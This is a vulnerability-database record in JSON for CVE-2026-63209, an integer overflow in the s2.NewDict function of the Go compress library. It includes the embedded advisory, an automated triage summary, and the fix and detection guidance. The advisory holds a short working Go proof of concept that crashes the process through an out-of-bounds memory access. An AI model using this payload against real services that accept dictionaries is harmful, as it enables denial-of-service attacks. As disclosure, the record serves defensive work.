{"id":"CVE-2026-63209","kind":"vulnerability","aliases":["CVE-2026-63209","GHSA-259r-337f-4rfw"],"related":[],"title":"Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress","description":"# Signed Integer Overflow in s2.NewDict\n\n## Summary\n\nA signed integer overflow vulnerability in `s2.NewDict()` allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding `MaxInt64`. When `Dict.Encode()` is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory access via `unsafe.Pointer` arithmetic, crashing the process with SIGSEGV.\n\n## Package\n\n- **Name:** `github.com/klauspost/compress/s2`\n- **Ecosystem:** Go\n- **Affected versions:** <= v1.18.6 (all versions with `NewDict` function)\n\n## Severity\n\n**High (7.5)** — CVSS v3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n\n## Vulnerability\n\n### Type\n- CWE-190: Integer Overflow or Wraparound\n- CWE-787: Out-of-bounds Write (via unsafe.Pointer)\n\n### Description\n\nThe `NewDict()` function reads a uvarint from dictionary data and converts it to `int`:\n\n```go\nr, n := binary.Uvarint(dict)\n// ...\nd.repeat = int(r)\nif d.repeat > len(dict) {\n    return nil\n}\n```\n\nWhen `r` exceeds `MaxInt64` (9223372036854775807), `int(r)` overflows to a negative value. Since a negative number is never greater than a positive length, the validation check is bypassed.\n\nWhen `Dict.Encode()` is called, the negative `repeat` value causes an integer overflow in `encodeBlockDictGo()`:\n\n```go\nrepeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive\ncandidate := len(dict.dict) - repeat + s // underflows to negative\nload32(dict.dict, candidate)             // OOB via unsafe.Pointer\n```\n\n`load32` calls `le.Load32` which uses `unsafe.Pointer` arithmetic without bounds checking:\n\n```go\nfunc Load32[I Indexer](b []byte, i I) uint32 {\n    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))\n}\n```\n\nThis causes a segmentation fault (SIGSEGV) when the negative index is dereferenced.\n\n## PoC\n\n```go\npackage main\n\nimport (\n    \"encoding/binary\"\n    \"fmt\"\n    \"github.com/klauspost/compress/s2\"\n)\n\nfunc main() {\n    var dictData []byte\n    buf := make([]byte, binary.MaxVarintLen64)\n    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64\n    dictData = append(dictData, buf[:n]...)\n    dictData = append(dictData, make([]byte, 16)...) // minimum dict size\n\n    dict := s2.NewDict(dictData)\n    // dict is non-nil despite invalid repeat value (overflow bypassed validation)\n\n    src := make([]byte, 64)\n    for i := range src { src[i] = byte(i) }\n    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer\n}\n```\n\n## Impact\n\n- **Denial of Service:** The process crashes immediately with SIGSEGV\n\n## Attack Vector\n\nAny application that:\n1. Accepts user-supplied S2 dictionary data via `s2.NewDict()`\n2. Calls `Dict.Encode()` on any data ≥32 bytes\n\n## Suggested Fix\n\nValidate the uvarint value before converting to int:\n\n```go\nif r > math.MaxInt64 {\n    return nil\n}\nd.repeat = int(r)\n```\n\nOr use `uint` for the repeat field and validate against `uint(len(dict))`.\n\n## References\n\n- Source: `s2/dict.go` lines 59-61 (vulnerability), `s2/encode_all.go` line 947 (crash site)\n- Commit: 539243b (v1.18.6 + 4 commits)\n\n## Credits\nChristopher Linke / https://github.com/celinke97/","summary":"The Go library github.com/klauspost/compress has an integer overflow in s2.NewDict: a dictionary with a crafted repeat value bypasses validation and causes an out-of-bounds memory access when Dict.Encode is called. An attacker who can supply S2 dictionary data gets a process crash (SIGSEGV), which is a denial of service.","severity":"high","cvss":7.5,"epss":0.003650000086054206,"exploited":false,"exploited_at":null,"products":[{"name":"github.com/klauspost/compress","fixed":["1.18.7"],"affected":"<= 1.18.6","ecosystem":"go"}],"ecosystems":["go"],"tags":["cwe-190","cwe-787","go","klauspost-compress","package","s2","services-accepting-user-dictionaries"],"not_affected_if":["dictionary-data-trusted","no-s2-dictionary-use","version-1.18.7-or-later"],"how_to_check":"Check go.mod or go list -m github.com/klauspost/compress for a version at or below v1.18.6.\nCheck whether code calls s2.NewDict with user-supplied dictionary bytes.","fix":"Upgrade github.com/klauspost/compress to v1.18.7 or later.\nIf upgrading is not possible, do not pass untrusted data to s2.NewDict.","status":"open","published_at":"2026-09-29T15:17:27+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T19:55:44+00:00","updated_at":"2026-10-23T23:44:52+00:00","category":"package","confidence":0.9,"triage":{"at":"2026-10-23T19:55:44Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade github.com/klauspost/compress to v1.18.7 or later.\nIf upgrading is not possible, do not pass untrusted data to s2.NewDict.","summary":"The Go library github.com/klauspost/compress has an integer overflow in s2.NewDict: a dictionary with a crafted repeat value bypasses validation and causes an out-of-bounds memory access when Dict.Encode is called. An attacker who can supply S2 dictionary data gets a process crash (SIGSEGV), which is a denial of service.","category":"package","who_cares":["go","s2","klauspost-compress","services-accepting-user-dictionaries"],"confidence":0.9,"analyst_note":"","how_to_check":"Check go.mod or go list -m github.com/klauspost/compress for a version at or below v1.18.6.\nCheck whether code calls s2.NewDict with user-supplied dictionary bytes.\nunknown","needs_analyst":false,"not_affected_if":["version-1.18.7-or-later","no-s2-dictionary-use","dictionary-data-trusted"],"severity_if_unknown":"high"},"cost_usd":0.000535,"input_tokens":3399,"output_tokens":390,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-190':29B,188C '-2026':15A,23A '-5758978476775341977':280C '-61':479C '-63209':16A,24A '-787':31B,194C '/celinke97/':496C '/klauspost/compress':27A,48B '/klauspost/compress/s2':160C,345C '1':424C '12687765596934209639':358C '16':370C '2':434C '259r':19A '32':440C '337f':20A '4':489C '4rfw':21A '539243b':487C '59':478C '62':279C '64':392C '7.5':173C '9223372036854775807':235C '947':483C 'accept':40B,425C 'access':72B,147C,406C 'affect':163C 'allow':109C 'append':361C,366C 'applic':422C 'arithmet':150C,303C 'attack':78B,111C,419C 'av':176C 'b':312C,322C 'binary.maxvarintlen64':354C 'binary.putuvarint':356C 'binary.uvarint':220C 'bound':10A,70B,145C,198C,305C 'buf':351C,357C,363C 'bypass':62B,113C,258C,387C 'byte':313C,350C,353C,369C,391C,399C,441C 'call':76B,134C,262C,298C,435C 'candid':283C,293C 'caus':65B,140C,267C,325C 'check':256C,306C 'christoph':492C 'commit':486C,490C 'compress':13A,35B 'compress/s2':1A 'convert':213C,449C 'craft':59B 'crash':88B,151C,415C,484C 'credit':491C 'cve':14A,22A 'cvss':174C 'cwe':28B,30B,187C,193C 'd.repeat':222C,226C,458C 'data':84B,211C,431C,439C 'denial':93B,410C 'dereferenc':335C 'descript':202C 'despit':382C 'dict':221C,228C,372C,374C,377C,473C 'dict.dict':276C,285C,292C 'dict.encode':74B,131C,260C,401C,436C 'dict.repeat':277C 'dictdata':349C,360C,362C,365C,367C,376C 'dictionari':42B,56B,83B,120C,210C,430C 'ecosystem':161C 'encod':125C 'encodeblockdictgo':272C 'encoding/binary':341C 'exceed':128C,233C 'fault':328C 'field':467C 'fix':443C 'fmt':342C 'func':308C,346C 'function':170C,205C 'get':85B 'ghsa':18A 'ghsa-259r-337f-4rfw':17A 'github.com':26A,47B,159C,344C,495C 'github.com/celinke97/':494C 'github.com/klauspost/compress':25A,46B 'github.com/klauspost/compress/s2':158C,343C 'go':32B,44B,162C,217C,273C,307C,337C,452C 'greater':249C 'h':184C 'high':172C 'huge':281C 'immedi':416C 'impact':409C 'import':340C 'index':115C,311C,333C 'int':216C,223C,236C,451C,459C 'integ':2A,51B,97C,104C,189C,269C 'invalid':383C 'klauspost':34B 'klauspost-compress':33B 'l/pr':178C 'le.load32':299C 'len':227C,275C,284C,472C 'length':253C 'librari':45B 'line':477C,482C 'link':493C 'load32':291C,297C,309C 'main':339C,347C 'make':352C,368C,390C 'math.maxint64':455C 'maxint64':129C,234C,359C 'memori':71B,146C 'minimum':371C 'n':219C,355C,364C 'n/a':183C 'n/ac':177C 'n/i':182C 'n/s':180C 'n/ui':179C 'name':157C 'negat':137C,241C,245C,264C,290C,332C 'never':248C 'newdict':169C,204C 'nil':230C,381C,402C,457C 'non':380C 'non-nil':379C 'number':246C 'oob':294C,405C 'out-of-bound':7A,67B,142C,195C 'overflow':3A,52B,98C,105C,136C,190C,238C,270C,278C,386C 'packag':36B,156C,338C 'poc':336C 'posit':252C,282C 'process':87B,153C,414C 'r':218C,224C,232C,237C,454C,460C 'rang':395C 'read':206C 'refer':474C 'repeat':60B,114C,126C,138C,265C,274C,286C,384C,466C 'return':229C,317C,456C 's2':37B,82B,429C 's2.newdict':54B,100C,108C,375C,433C 's2/dict.go':476C 's2/encode_all.go':481C 'segment':327C 'servic':39B,95B,412C 'services-accepting-user-dictionari':38B 'sever':171C 'sign':96C,103C 'sigsegv':89B,155C,329C,404C,418C 'sinc':243C 'site':485C 'size':373C 'sourc':475C 'src':389C,396C,397C,403C 'subsequ':133C 'suggest':442C 'summari':101C 'suppli':81B,118C,428C 'type':186C 'u/c':181C 'uint':463C,471C 'uint32':316C,318C 'underflow':288C 'unsafe.add':319C 'unsafe.pointer':149C,201C,296C,302C,320C,408C 'unsafe.slicedata':321C 'use':301C,462C 'user':41B,427C 'user-suppli':426C 'uvarint':124C,208C,446C 'uvarint-encod':123C 'v1.18.6':165C,488C 'v3.1':175C 'valid':63B,116C,255C,388C,444C,469C 'valu':61B,127C,139C,242C,266C,385C,447C 'var':348C 'vector':420C 'version':164C,167C 'via':148C,200C,295C,407C,432C 'vulner':106C,185C,480C 'without':304C 'wraparound':5A,192C 'write':11A,199C","nicknames":[],"mitigations":[],"who_affected":null,"tier":null,"verified":{},"analyst_revisit_at":null,"first_public_at":"2026-09-29T15:17:27+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-259r-337f-4rfw","url":"https://github.com/advisories/GHSA-259r-337f-4rfw","severity":"high","published_at":"2026-10-20T14:33:33+00:00","modified_at":"2026-10-20T14:33:35+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-63209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63209","severity":null,"published_at":"2026-09-29T15:17:27+00:00","modified_at":"2026-09-30T19:57:08+00:00","first_seen_at":"2026-10-23T23:44:52+00:00","fetched_at":"2026-10-23T23:44:52+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}